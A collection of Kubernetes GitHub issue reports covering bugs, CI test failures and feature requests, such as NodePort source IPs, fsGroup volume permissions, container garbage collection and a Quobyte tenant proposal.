i set key externaltrafficpolicy=local in service type nodeport\r and get wrong source ip: 10.1.29.23 and 10.4.59.1\r 10.1.29.x - k8s nodes subnet, 10.4.x.x - k8s pods subnet.\r \r https://github.com/kubernetes/kubernetes/issues/57922 issuecomment-357562970\r \r   \r   environment  :\r - kubernetes version  use  kubectl version  : api v1.8.1 / kubectl v1.6.1\r - cloud provider or hardware configuration: hardware  vmware \r - os  e.g. from /etc/os-release : coreos 1520.8.0\r - kernel  e.g.  uname -a  : linux wd-test-m1 4.13.9-coreos  1 smp genuineintel gnu/linux\r - install tools:\r - others: \r flannel backend type: host-gw\r kube-proxy --proxy-mode=iptables\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i am currently using  metrics/v1beta1 , i have one container in each pod. gpu usage got from metrics is always 0. also, it seems podmetrics.metadata.labels lost all labels of one pod..\r \r   what you expected to happen  :\r gpu usage is updated correctly and i can get pod labels from  podmetrics \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r import  \r     \ k8s.io/client-go/rest\ \r     metav1 \ k8s.io/apimachinery/pkg/apis/meta/v1\ \r     metrics \ k8s.io/metrics/pkg/client/clientset_generated/clientset/typed/metrics/v1beta1\ \r  \r \r config, err := rest.inclusterconfig  \r client := metrics.newforconfigordie config \r podmetricses := client.podmetricses \ my-namespace\  \r podmetricslist, err := podmetricses.list metav1.listoptions{} \r for _, podmetrics := range podmetricslist.items {\r     // there is only one container in my pod. \r     containerusage := podmetrics.containers 0 .usage\r       // it is always 0  \r     fmt.println containerusage.nvidiagpu  .asdec  .string   \r       // it is always an empty map.  \r     fmt.println podmetrics.objectmeta.labels \r }\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.3\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r \r   what happened  :\r after upgrade to from 1.8 to 1.9, we found that after some time node became notready, because of docker service down and kubernetes doesn't try run pods from this node on other nodes  it try just restart them . after some investigation, we found that docker daemon doesn't respond. also, it has 33212 containers  calculated by  find /var/lib/docker/containers/ -maxdepth 1 -type d | wc -l   and only ~20 in running state  total pods in cluster is 202, containers 150 .\r \r   what you expected to happen  :\r we expect that gc will clean up exited and failed containers. also, we found parameter for kubelet  --maximum-dead-containers-per-container  but it deprecated now.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we have a lot of jobs and sometimes bad pods constantly restarting.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-18t23:58:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r  aws/kops \r \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r \r - kernel  e.g.  uname -a  :\r  linux ip-172-20-50-12 4.4.115-k8s  1 smp thu feb 8 15:37:40 utc 2018 x86_64 gnu/linux \r \r - install tools:\r    \r client:\r  version:      17.03.2-ce\r  api version:  1.27\r  go version:   go1.7.5\r  git commit:   f5ec1e2\r  built:        tue jun 27 02:09:56 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.03.2-ce\r  api version:  1.27  minimum version 1.12 \r  go version:   go1.7.5\r  git commit:   f5ec1e2\r  built:        tue jun 27 02:09:56 2017\r  os/arch:      linux/amd64\r  experimental: false\r    \r \r - others:\r disk space used:\r  /dev/xvda1      120g   12g  104g  10% /

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r i am using persistent local volumes. the mountpoints for it are set up with 0700 permissions. when running a pod with a user other than root, and with fsgroup to allow access to the volume, the permissions are wrong and the pod cannot use the volume. the permissions are changed from 0700 to 2760.\r \r   what you expected to happen  :\r \r fsgroup makes the volume usable for the group by setting the permissions to 2770.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r you need a cluster with local volumes whose permissions are set to 0700.\r \r pv-permission-bug.yaml:\r \r    yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: pv-permission-bug\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r \r ---\r \r kind: pod\r apiversion: v1\r metadata:\r   name: pv-permission-bug\r spec:\r   volumes:\r   - name: test\r     persistentvolumeclaim:\r       claimname: pv-permission-bug\r   containers:\r   - name: pv-permission-bug\r     image: nginx\r     volumemounts:\r     - mountpath: \ /usr/share/nginx/html\ \r       name: test\r   securitycontext:\r     fsgroup: 2000\r    \r \r    \r $ kubectl apply  -f pv-permission-bug.yaml\r $ kubectl exec -n provid-mag-pv-permission-bug pv-permission-bug -it -- stat /usr/share/nginx/html\r   file: /usr/share/nginx/html\r   size: 4096      \tblocks: 8          io block: 4096   directory\r device: fd03h/64771d\tinode: 2           links: 2\r access:  2760/drwxrws---   uid:      0/    root    gid:   2000/ unknown \r access: 2018-08-24 09:22:43.084058182 +0000\r modify: 2018-08-23 16:09:52.330157563 +0000\r change: 2018-08-24 09:22:43.084058182 +0000\r  birth: -\r    \r \r as you can see, the permissions are 2760. since the execute bit is missing for the group, the directory cannot be used. \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2\r - cloud provider or hardware configuration: libvirt/qemu\r - os  e.g. from /etc/os-release : centos linux release 7.5.1804  core \r - kernel  e.g.  uname -a  : 3.10.0-862.11.6.el7.x86_64  1 smp tue aug 14 21:49:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r as part of the sig storage e2e refactor, we added a lot of new test cases.  we should make sure these test cases are not taking up too much time and look into ways of shortening them.\r \r one common area that can be looked into first is pod termination time: https://github.com/kubernetes/kubernetes/pull/64015\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r it was never clear to me which feature gates need to be applied to which controller and when. in some cases they need applying to api only, in other to kubelet and api and in third to controller-manager or all of them. i often find pages where it is talked about a feature that should be activated on the api controller via a feature gate just to find out later it needs to be applied to another controller s  too.\r \r the great doco here https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/ gives us a lot of information that we previously had to hunt down across the whole documentation site or release notes. if additional info was added to this page explaining which feature gate applies to which controller s  it would be even more valuable and save people some time searching around.\r \r   the reasoning  \r the usual response to this question is: go and apply the feature gate you need to all controllers. first, why polluting the config files with options that are not used? and second, this is not always possible when using a manager like kops for example where the users are being protected from themselves and sometimes making additional changes are not allowed and need opening a feature request. \r

is this a bug report or feature request?  :\r \r @kubernetes/sig-aws-bugs\r > uncomment only one, leave it on its own line:\r bug\r \r   what happened  :\r \r i am using fluentd-elasticsearch v2.3.1 in order to filter and process json events generated by kubernetes pods and then send them to aws managed elastic search.\r \r   what you expected to happen  :\r i expect to see filtered json events on kibana. i am basically decoding a json object from a stringified bigger json object, doing some processing on it and then sending it to elastic.  but i am seeing that the events are not being sent to elastic by fluentd after they are filtered and processed. for example, i am deleting a couple of attributes before i send an event to elastic. i verify from the logs of fluentd that the json was decoded and the said attributes were deleted. but i do not see the events on kibana\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the image gcr.io/google-containers/fluentd-elasticsearch  v2.3.1  to send an event like below to aws managed elastic 6.2.3. below is a part of the configuration i'm using for fluentd:\r \r    \r <filter kube.  >\r     @type docker\r </filter>\r <filter kube.  >\r     @type record_transformer\r     remove_keys $ 'log'  'requestheaders' \r </filter>\r    \r note that  @type docker  is used to decode the intended json object that is stringified.\r \r and below is the part of the message that i am decoding into json and deleting the attributes _requestheaders_  and _responseheaders_ before sending the event to elastic\r  \r {\ log\ : \ {\\\ requestheaders\\\ :\\\ {\\\\\\\ host\\\\\\\ :\\\\\\\ www.dummy.com\\\\\\\ ,\\\\\\\ user-agent\\\\\\\ :\\\\\\\ go-http-client/1.1\\\\\\\ ,\\\\\\\ accept\\\\\\\ :\\\\\\\ application/json\\\\\\\ ,\\\\\\\ x-custom-header\\\\\\\ :\\\\\\\ 234\\\\\\\ ,\\\\\\\ accept-encoding\\\\\\\ :\\\\\\\ gzip\\\\\\\ }\\\ ,\\\ method\\\ :\\\ get\\\ ,\\\ responseheaders\\\ :\\\ {\\\\\\\ vary\\\\\\\ :\\\\\\\ accept-encoding\\\\\\\ ,\\\\\\\ set-cookie\\\\\\\ :\\\\\\\ rememberme=deleteme; path=/; max-age=0; expires=tue, 09-oct-2018 00:43:41 gmt\\\\\\\ ,\\\\\\\ accept-ranges\\\\\\\ :\\\\\\\ bytes\\\\\\\ ,\\\\\\\ server\\\\\\\ :\\\\\\\ dummy\\\\\\\ ,\\\\\\\ content-length\\\\\\\ :\\\\\\\ 3\\\\\\\ ,\\\\\\\ content-type\\\\\\\ :\\\\\\\ application/json; charset=utf-8\\\\\\\ ,\\\\\\\ connection\\\\\\\ :\\\\\\\ close\\\\\\\ ,\\\\\\\ acceptranges\\\\\\\ :\\\\\\\ bytes\\\\\\\ }\\\ ,\\\ uri\\\ :\\\ /dummypath\\\ ,\\\ sslservername\\\ :\\\ localhost\\\ ,\\\ statustext\\\ :\\\ ok\\\ ,\\\ type\\\ :\\\ http\\\ ,\\\ useragent\\\ :\\\ go-http-client/1.1\\\ ,\\\ version\\\ :\\\ http/1.1\\\ ,\\\ sslprotocol\\\ :\\\ tlsv1.2\\\ },\\\ status\\\ :\\\ pass\\\ }}\ \ }\r  \r   anything else we need to know?  : nothing that i can think of right now.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.10\ , gitcommit:\ 098570796b32895c38a9a1c9286425fb1ececa18\ , gittreestate:\ clean\ , builddate:\ 2018-08-02t17:11:51z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu\r

failure cluster  b91c1bd72f1c9a91b651  https://go.k8s.io/triage {id} \r \r       error text:\r    \r local-up-cluster.sh is not ready\r    \r \r kubelet.log:\r    \r f0215 20:30:44.706834  131948 kubelet.go:1359  failed to start containermanager failed to initialize top level qos containers: root container  kubepods  doesn't exist\r    \r \r      recent failures:\r  2/15/2019, 1:53:45 pm pr:pull-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/73726/pull-kubernetes-local-e2e-containerized/4916 isup \r  2/15/2019, 1:17:47 pm pr:pull-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/73997/pull-kubernetes-local-e2e-containerized/4915 isup \r  2/15/2019, 11:22:23 am ci-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-local-e2e-containerized/3004 isup \r  2/15/2019, 10:38:25 am pr:pull-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/74051/pull-kubernetes-local-e2e-containerized/4910 isup \r  2/15/2019, 10:33:44 am pr:pull-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/74051/pull-kubernetes-local-e2e-containerized/4908 isup \r \r \r /label sig/testing

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r   ci-kubernetes-e2e-gce-master-new-downgrade-cluster\r   ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel\r \r   since when has it been failing  :\r these jobs have been failing since around 5/2\r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-informing gce-master-new-downgrade-cluster\r   https://testgrid.k8s.io/sig-release-master-informing gce-master-new-downgrade-cluster-parallel\r \r   reason for failure  :\r    \r test timed out after 24h0m0s\r    \r \r  / /milestone v1.15\r /cc @kubernetes/sig-gcp-test-failures \r /cc @wenjiaswe @jennybuckley\r /cc @jimangel @smourapina @rarchk @alenkacz

hi, as per http://kubernetes.io/docs/admin/multiple-zones/ pods-are-spread-across-zones it says  pods in a replication controller or service are automatically spread across zones.   and then goes onto giving the example of the guestbook being spread across three zones/\r \r however, as you can see below, i have four nodes, 2 in each zone.  the zones are europe-west1-c and europe-west1-d.\r \r i deploy a service  rabbitmq  with replicas=2, and they get deployed to separate nodes however do not get deployed to separate zones, they're deployed to the nodes in europe-west1-d only.\r \r there are no pvc's associated with this service so nothing that should be keeping them both in -d.\r \r this isn't optimal for what i am trying to achieve, and would like one node in c and one in d, and that is how i read the documentation and how i expected this to work?\r \r i'm on kubernetes 1.4.5 on gke\r \r    \r $ k get nodes --show-labels\r name                                                status    age       labels\r gke-peopledata-preprod-default-pool-5fc70dbf-52ms   ready     2h        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=n1-standard-2,beta.kubernetes.io/os=linux,cloud.google.com/gke-nodepool=default-pool,failure-domain.beta.kubernetes.io/region=europe-west1,failure-domain.beta.kubernetes.io/zone=europe-west1-c,kubernetes.io/hostname=gke-peopledata-preprod-default-pool-5fc70dbf-52ms\r gke-peopledata-preprod-default-pool-5fc70dbf-a9zj   ready     2h        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=n1-standard-2,beta.kubernetes.io/os=linux,cloud.google.com/gke-nodepool=default-pool,failure-domain.beta.kubernetes.io/region=europe-west1,failure-domain.beta.kubernetes.io/zone=europe-west1-c,kubernetes.io/hostname=gke-peopledata-preprod-default-pool-5fc70dbf-a9zj\r gke-peopledata-preprod-default-pool-87a32dda-e2iz   ready     2h        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=n1-standard-2,beta.kubernetes.io/os=linux,cloud.google.com/gke-nodepool=default-pool,failure-domain.beta.kubernetes.io/region=europe-west1,failure-domain.beta.kubernetes.io/zone=europe-west1-d,kubernetes.io/hostname=gke-peopledata-preprod-default-pool-87a32dda-e2iz\r gke-peopledata-preprod-default-pool-87a32dda-rmgz   ready     2h        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=n1-standard-2,beta.kubernetes.io/os=linux,cloud.google.com/gke-nodepool=default-pool,failure-domain.beta.kubernetes.io/region=europe-west1,failure-domain.beta.kubernetes.io/zone=europe-west1-d,kubernetes.io/hostname=gke-peopledata-preprod-default-pool-87a32dda-rmgz\r \r $ kt describe pod -l app=rabbitmq | grep node\r node:\t\tgke-peopledata-preprod-default-pool-87a32dda-e2iz/10.34.96.5\r node:\t\tgke-peopledata-preprod-default-pool-87a32dda-rmgz/10.34.96.4\r

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r when i want to get a pod log, it takes so long to get the result back. for example:\r $ kubectl logs  test-args-4026945960-4pmmv --since=59s -n u-keadmin-default\r \r the apiserver log is below use 1m7s for this request :\r    \r i0704 09:27:27.119187       1 wrap.go:75  get /api/v1/namespaces/u-keadmin-default/pods/test-args-4026945960-4pmmv/log?follow=true&sinceseconds=59:  1m7.037577335s  200   kubectl/v1.6.1  darwin/amd64  kubernetes/$format  10.200.20.66:52790\r    \r and the kubelet cpu usage is high.i did the cpu profiling on kubelet and found out json unmarshal is using most cpu time.\r   what you expected to happen  :\r quickly get pod log\r   how to reproduce it  as minimally and precisely as possible   :\r use kubectl to get a long-running pod's log\r \r   anything else we need to know?  :\r i look through the code and find that there are two log format supported, one is cri format, one is docker json-file log. cri log format is simple and cpu-friendly. can we use that for docker container?\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.6.0\r - cloud provider or hardware configuration  : bare\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4\r - install tools: kubeadm\r - others:\r none

>  \r   what happened  :\r \r can't able to write any hooks for notification or any other calls following the deployment is completed or stuck on top of kubernetes deployment apply\r \r because once  kubernetes apply -f deployment.yml  the process handler is transfered to the deamon which is good but we can't able to keep track of the deployment status of the current , it would be nice if there is a hook or something that would sophisticate this with the deployment success or failure.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i got inconsistent results from pull-kubernetes-e2e-kops-aws regarding  60065  see https://k8s-gubernator.appspot.com/pr/60065 .  that test succeeded once and failed several times on the exact same commit.  i looked at a few of the failures.  they are not all the same, but a common problem is failing to pull the apiserver image due to an authorization failure.  see https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/60065/pull-kubernetes-e2e-kops-aws/76217/artifacts/54.242.232.237/kubelet.log and https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/60065/pull-kubernetes-e2e-kops-aws/75802/artifacts/35.172.194.120/kubelet.log for examples.  here is the critical excerpt from the latter:\r    \r e0222 01:20:48.227370    1877 remote_image.go:108  pullimage \ k8s.gcr.io/kube-apiserver:v1.8.9-beta.0.10_6852b6abe14e9f\  from image service failed: rpc error: code = unknown desc = unauthorized: authentication required\r e0222 01:20:48.227398    1877 kuberuntime_image.go:50  pull image \ k8s.gcr.io/kube-apiserver:v1.8.9-beta.0.10_6852b6abe14e9f\  failed: rpc error: code = unknown desc = unauthorized: authentication required\r    \r \r   what you expected to happen  :\r i expected consistent results from the testing.  i expected the test infrastructure to be able to create and use the docker images involved.\r \r   how to reproduce it  as minimally and precisely as possible   :\r submit a pr that modifies the  release-1.8  branch of k8s.io/kubernetes.   i did a pr against  master  and did not have this problem. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r   what happened  :\r \r currently the vsphere cloud provider blocks the controller-manager from running if its running on a non-vmware host, because it reads  /sys/class/dmi/id/product_serial  and checks if its content starts with  vmware- .\r \r   what you expected to happen  :\r \r the controller manager to start\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start a  controller-manager  on a non-vmware environment with the  --cloud-provider vsphere --cloud-config /my/cloud/conf  flags set\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r sonobuoy results  run via scanner.heptio.com  show 5 failed tests:\r \r  sig-network  networking granular checks: pods should function for intra-pod communication: udp  conformance \r  sig-network  networking granular checks: pods should function for node-pod communication: http  conformance \r  sig-network  networking granular checks: pods should function for node-pod communication: udp  conformance \r  sig-network  networking granular checks: pods should function for intra-pod communication: http  conformance \r  k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance \r \r each had the same error listed:\r \r > forbidden: cannot exec into or attach to a container using host network\r \r this was due to the  denyescalatingexec  https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/ denyescalatingexec  admission controller being enabled.\r \r   what you expected to happen  :\r \r not sure, but this is expected behavior when that admission controller is enabled. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create an azure cluster  v1.10.4  via acs-engine\r 2. run a scan via scanner.heptio.com\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.4\r - cloud provider or hardware configuration: azure\r - install tools: acs-engine

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r docker images aren't pushed to k8s.gcr.io for control plane components. \r \r   what you expected to happen  :\r \r the latest released version should have images pushed to the repository.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r docker pull k8s.gcr.io/kube-controller-manager-amd64:v1.11.1\r docker pull k8s.gcr.io/kube-scheduler-amd64:v1.11.1\r docker pull k8s.gcr.io/kube-apiserver-amd64:v1.11.1\r    \r \r 

hi team,  i am trying to mount ebs volume as persistent disk for storage but it failed with below reasons: using latest stable release: v1.1.2 for cluster using coreos + aws  failedmount unable to mount volumes for pod \ test-ebs_default\ : cloud provider does not support volumes error syncing pod, skipping: cloud provider does not support volumes  below block in pod file:       this aws ebs volume must already exist.     awselasticblockstore:       volumeid: aws://us-west-1a/vol-da5ef222       fstype: ext4  do we support ebs volume for persistence storage with aws  or not yet? please let me know if you need any more information on this.  thanks!

how should the usage of new subcommand  kubectl create limit  look like?  kubectl create sub-command will be created to provide simpler way of how to create limitranges for pods and containers. for now it is possible by object definiton in file and passing to kubectl create.  one named limitrange object consists of multiple values which are specified by:     - type - pod or container,      - resource - memory or cpu,     - limit specification - max, min, default, defaultrequest, maxlimitrequestratio  for more information read: http://kubernetes.io/docs/admin/limitrange/  one limit value in limitrange object must be specified with all of the three keys. in new sub-command we should retain the possibility to have more limits specified in one limitrange object and ability to have limitrange object created with any non-empty set of combination of keys menioned above  e.g. max number of cpus for pods =2 and minimum memory for container = 3mi in one limitrange object .

proposal quobyte tenants and kubernetes namespaces\r \r we  @quolix and myself  developed an architecture/workflow to combine quobyte tenants with kubernetes namespaces  this is in the first place an proposal/draft and is open for discussions . \r \r our goals:\r \r - adding some simple \ security\  mechanisms\r - kubernetes quobyte plugin decides which quobyte tenant must be used\r - a user shouldn't be able to modify the used quobyte tenant\r - a quobyte storage class doesn't need to be configured with a tenant\r - easy to configure\r \r    our assumptions:\r \r - kubernetes namespace names are indiviual\r - kubernetes namespace == quobyte tenant\r - user access is restriced to namespaces otherwise the user can use all quobyte volumes / namespaces anyway\r - if there is a volume uuid specified, use the uuid instead of the volume name  default case for dynamic provisioning \r \r    workflow\r \r     dynamic provisioning with quobyte\r \r 1.  admin creates an storageclass with the following config\r \r    yaml\r apiversion: storage.k8s.io/v1beta1\r kind: storageclass\r metadata:\r    name: slow\r provisioner: kubernetes.io/quobyte\r parameters:\r     quobyteapiserver: \ http://138.68.74.142:7860\ \r     registry: \ 138.68.74.142:7861\ \r     adminsecretname: \ quobyte-admin-secret\ \r     adminsecretnamespace: \ kube-system\ \r     user: \ root\ \r     group: \ root\ \r     quobyteconfig: \ base\ \r \r    \r 2.  user creates a pvc for a specific namespace\r \r    json\r {\r   \ kind\ : \ persistentvolumeclaim\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ claim1\ ,\r     \ namespace\ : \ test\ ,\r     \ annotations\ : {\r       \ volume.beta.kubernetes.io/storage-class\ : \ slow\ \r     }\r   },\r   \ spec\ : {\r     \ accessmodes\ :  \r       \ readwriteonce\ \r      ,\r     \ resources\ : {\r       \ requests\ : {\r         \ storage\ : \ 3gi\ \r       }\r     }\r   }\r }\r \r    \r \r 3.  quobyte plugin takes kubernets namespace as quobyte tenant\r 4.  quobyte plugin creates a volume  auto generated name -> assume  testvolume   in the tenant  test \r 5.  user uses pvc in podspec  namespace must be the same otherwise it will fail \r \r    yaml\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: server\r   namespace: test\r spec:\r   replicas: 1\r   selector:\r     role: server\r   template:\r     metadata:\r       labels:\r         role: server\r     spec:\r       containers:\r       - name: server\r         image: nginx \r         volumemounts:\r           - mountpath: /var/lib/www/html\r             name: quobytepvc\r       volumes:\r         - name: quobytepvc\r           persistentvolumeclaim:\r             claimname: claim1\r    \r \r 6.  quobyte plugin takes kubernets namespace as quobyte tenant\r 7.  quobyte plugin resolves mountpath to  /var/lib/kubelet/plugins/kubernetes.io~quobyte/root root test@testvolume \r \r as a result we have a quobyte volume created in tenant  test , an according pvc in namespace  test  and a pod running in namespace  test  consuming the pvc.\r \r     volume mount\r \r 1.  quobyte volume  testvolume  is created in quobyte tenant  test \r 2.  user has access to namespace  test \r 3.  user creates podspec that uses the volume above\r \r    yaml\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: server\r   namespace: test\r spec:\r   replicas: 1\r   selector:\r     role: server\r   template:\r     metadata:\r       labels:\r         role: server\r     spec:\r       containers:\r       - name: server\r         image: nginx \r         volumemounts:\r           - mountpath: /var/lib/www/html\r             name: quobytevolume\r       volumes:\r       - name: quobytevolume\r         quobyte:\r         registry: registry:7861\r         volume: testvolume\r         readonly: false\r         user: root\r         group: root\r    \r \r 4.  quobyte plugin takes kubernets namespace as quobyte tenant\r 5.  quobyte plugin resolves mountpath to  /var/lib/kubelet/plugins/kubernetes.io~quobyte/root root test@testvolume \r \r as a result we a pod running in namespace  test  consuming a quobyte volume created for tenant  test .\r \r    profit\r \r - user can only use volumes created in the namespace he has access to  simple/minimal acl \r - builtin quobyte tenant and kubernetes namespace mapping\r \r \r we are open for discussions and improvements @kubernetes/sig-storage

i set taints on a node using the kubelet, but the timeadded field was not set:\r \r    \r  taints:\r   - effect: noschedule\r     key: dedicated\r     timeadded: null\r     value: master\r    \r \r in addition, i think we prefer to omit null fields.

hey guys,\r \r as the title, i need to set a pod field on  scheduler.go  https://github.com/kubernetes/kubernetes/blob/release-1.6/plugin/pkg/scheduler/scheduler.go l195  when binding pod to node.\r i walk through the related code, as the following shows, and find the  fieldpath  of  objectreference .\r    go\r \t\tb := &v1.binding{\r \t\t\tobjectmeta: metav1.objectmeta{namespace: pod.namespace, name: pod.name},\r \t\t\ttarget: v1.objectreference{\r \t\t\t\tkind: \ node\ ,\r \t\t\t\tname: dest,\r \t\t\t},\r \t\t}\r    \r so, i add the  fieldpath  as the below, but it didn't take effect. something else i missed? or some docs?\r    go\r \t\tb := &v1.binding{\r \t\t\tobjectmeta: metav1.objectmeta{namespace: pod.namespace, name: pod.name},\r \t\t\ttarget: v1.objectreference{\r \t\t\t\tkind: \ node\ ,\r \t\t\t\tname: dest,\r                                 fieldpath: \ spec.podspec.xxx{xxx}\ \r \t\t\t},\r \t\t}\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /assign\r \r   what happened  :\r pull-kubernetes-unit test flake:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46079/pull-kubernetes-unit/39938/\r    \r rest_test.go:1064: unexpected failure creating service :internal error occurred: failed to allocate requested healthcheck nodeport 30556: provided port is already allocated\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/48256/pull-kubernetes-unit/41168/\r    \r rest_test.go:1106: unexpected failure creating service :internal error occurred: failed to allocate requested healthcheck nodeport 0: provided port is already allocated\r    \r here the  0  in  failed to allocate requested healthcheck nodeport 0  seems also odd.\r \r   what you expected to happen  :\r no flake\r \r   how to reproduce it  as minimally and precisely as possible   :\r nope.\r \r   anything else we need to know?  :\r this is because the test cases don't release the allocated healthcheck nodeport at the end of each test case.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  